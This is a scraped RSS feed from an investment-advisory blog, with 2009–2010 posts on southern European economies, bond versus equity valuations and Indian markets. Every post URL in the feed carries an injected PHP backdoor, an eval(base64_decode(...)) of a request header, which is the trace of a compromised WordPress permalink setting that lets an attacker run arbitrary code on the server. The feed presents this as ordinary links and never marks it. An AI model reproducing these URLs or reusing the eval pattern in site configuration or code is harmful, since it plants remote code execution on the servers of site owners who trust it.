Continuum Global Asset Management http://cgamadvisor.com Fri, 12 Feb 2010 23:23:03 +0000 http://wordpress.org/?v=2.8 en hourly 1 How important is Portugal, Ireland, Italy, Greece and Spain in terms of global capitalism? http://cgamadvisor.com/2010/02/12/how-important-is-portugal-ireland-italy-greece-and-spain-in-terms-of-global-capitalism/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://cgamadvisor.com/2010/02/12/how-important-is-portugal-ireland-italy-greece-and-spain-in-terms-of-global-capitalism/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 12 Feb 2010 23:22:47 +0000 manu http://cgamadvisor.com/?p=888 http://cgamadvisor.com/2010/02/12/how-important-is-portugal-ireland-italy-greece-and-spain-in-terms-of-global-capitalism/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 How are bond valuation VS. equities? http://cgamadvisor.com/2009/07/13/how-are-bond-valuation-vs-equities/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://cgamadvisor.com/2009/07/13/how-are-bond-valuation-vs-equities/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 13 Jul 2009 18:26:44 +0000 manu http://cgamadvisor.com/?p=367 The 10 year US Treasury is currently yielding approximately 3.29%. In other words, the price earnings ratio (PE Raio) of a $1000 bond paying $33 per year is approximately 30. On the same token the widely used US broad based index S&P 500 is trading at approximately 14-15 price earnings ratio based on 2010 earnings. In other words, if an investor is indifferent between these two securities, the US Treasury should pay approximately 6%. This difference in the price earnings is due to the fact that investors are paying a heavy premium for the safety of the US credit and faith.

As earnings in the US markets stabilize and start to show growth, more assets should flow into the equity side of the capital markets from fixed income. In other words, investors will feel less risk averse and more open to growth opportunities.

What do you think?

]]> http://cgamadvisor.com/2009/07/13/how-are-bond-valuation-vs-equities/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Investing In India: Do you believe that India could be the next China? http://cgamadvisor.com/2009/06/19/another-test-post/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://cgamadvisor.com/2009/06/19/another-test-post/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 19 Jun 2009 13:50:15 +0000 manu http://websitengineer.com/cgam/?p=237  

The World Bank published a report in June, 2009 stating that Indian GDP could grow north of 8% in 2010 compared to 7.7% for China. The equity valuations have started to look rich as Indian broad based markets have experienced a 45% gain since March lows. The current Market Cap/GDP ratio seems to be gravitating towards 1.2 times, a stretched level. Majority of the initial capital market growth was a result of Foreign Institutional Investors pouring in assets but it seems like domestic investments are also on an upsurge.

What say you?

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